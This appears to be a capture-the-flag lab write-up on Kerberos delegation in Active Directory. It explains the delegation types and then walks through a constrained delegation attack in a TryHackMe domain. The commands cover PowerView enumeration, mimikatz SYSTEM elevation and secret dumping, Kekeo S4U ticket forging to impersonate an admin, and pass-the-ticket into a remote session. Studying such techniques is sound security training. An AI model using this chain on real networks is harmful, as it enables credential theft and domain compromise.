Exploiting Kerberos Delegation

Kerberos Delegation

Kerberos Delegation is different from Permission Delegation. It allows a service to request resources or perform actions on behalf of a user, while maintaining the security principles of authentication and authorization. The practical use of Kerberos Delegation is to enable an application to access resources hosted on a different server.

To understand how this works, we need to know how Kerberos Authentication works first as I have explained this previously

Use of Alternate Authentication Material | Stuffmfkrypt.gitbook.io

---

How Kerberos Delegation Works

1

Authentication

The user authenticates to the KDC and receives a TGT

2

Service Ticket Request

When the user wants to access a service (e.g., a web server), they send the TGT to the KDC. Service Ticket is issued by the KDC

3

Delegation (Service Accessing Another Service on Behalf of User)

• If the first service requires delegation (e.g., a web server accessing a database as the user), it needs a service ticket for another service.

• The first service asks the KDC for a service ticket to access the second service on behalf of the user.

• The KDC issues a new service ticket, allowing the first service to act as the user when accessing the second service.

4

Accessing the Downstream Service

The first service presents the delegated service ticket to the second service (e.g., a database).

---

Types of Kerberos Delegation

Unconstrained Delegation	Constrained Delegation	Resource-Based Constrained Delegation
A service with this setting can impersonate a user to any other service.	The service can only impersonate users for specific services defined in Active Directory (via msDS-AllowedToDelegateTo	Instead of the delegating service, the target service decides which accounts can delegate to it (via msDS-AllowedToActOnBehalfOfOtherIdentity
TRUSTED_FOR_DELEGATION flag	TRUSTED_TO_AUTH_FOR_DELEGATION flag	-
🔴 High	🟠 Moderate	🟢 Lower

The following are examples of services that can be configured for delegation:

Services that can be Configured for Delegation

• HTTP - Used for web applications to allow pass-through authentication using AD credentials.

• CIFS - Common Internet File System is used for file sharing that allows delegation of users to shares.

• LDAP - Used to delegate to the LDAP service for actions such as resetting a user's password.

• HOST - Allows delegation of account for all activities on the host.

• MSSQL - Allows delegation of user accounts to the SQL service for pass-through authentication to databases.

---

---

Constrained Delegation Exploitation

Using our compromised account previously, the first thing we need to do is enumerate available delegations. We can use the Get-NetUser cmdlet of PowerSploit for this enumeration

Import-Module C:\Tools\PowerView.ps1 
Get-NetUser -TrustedToAuth

Looking at the output, we can see that the svcIIS account can delegate the HTTP and WSMAN services on THMSERVER1. PowerShell Remoting uses the HTTP and WSMAN services as well.

This also indicates that svcIIS can request a service ticket on behalf of an impersonated user. The ideal option would be to impersonate a Tier 1 Admin since this would provide us with administrative access over THMSERVER1.

Dumping Plaintext Credentials

Checking the service under the SA:

Get-WmiObject Win32_Service | Where-Object { $_.StartName -like "*svcIIS*" } | Select-Object Name, DisplayName, StartName, State

A service named thmwinauth running under the [e-mail] account, but it is currently stopped. Now we use token-based impersonation using mimikatz token::elevate to impersonate SYSTEM.

***Note: This is not Kerberos Delegation Impersonation

mimikatz.exe
mimikatz # token::elevate

Now dump the plaintext credentials

mimikatz # lsadump::secrets

Impersonating Tier 1 Admin

Okay now we have the password. Now what we want to do is generate a TGT using Kekeo and load them into memory using Mimikatz

Generate a TGT that can be used to generate TGS (tickets) for the HTTP and WSMAN services:

tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:redacted

Looking back at Bloodhound we can see several members in the Tier 1 Admin group. We can choose to impersonate anyone

Forge the TGS for the account we want to impersonate. Need to do this for both HTTP and WSMAN services to allow us to create a PSSession on THMSERVER1:

tgs::s4u /tgt:[e-mail]_krbtgt~[e-mail] /user:<USER> /service:<service>/THMSERVER1.za.tryhackme.loc

HTTP:

WSMAN:

Great. Now we have two TGS for their services respectively. Pass the tickets using Mimikatz

kerberos::ptt <TICKET_NAME>

Verify the tickets were imported

klist

Now that the tickets are imported, we can finally create our PSSession on THMSERVER1:

Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc

Get the flag in Administrator's Desktop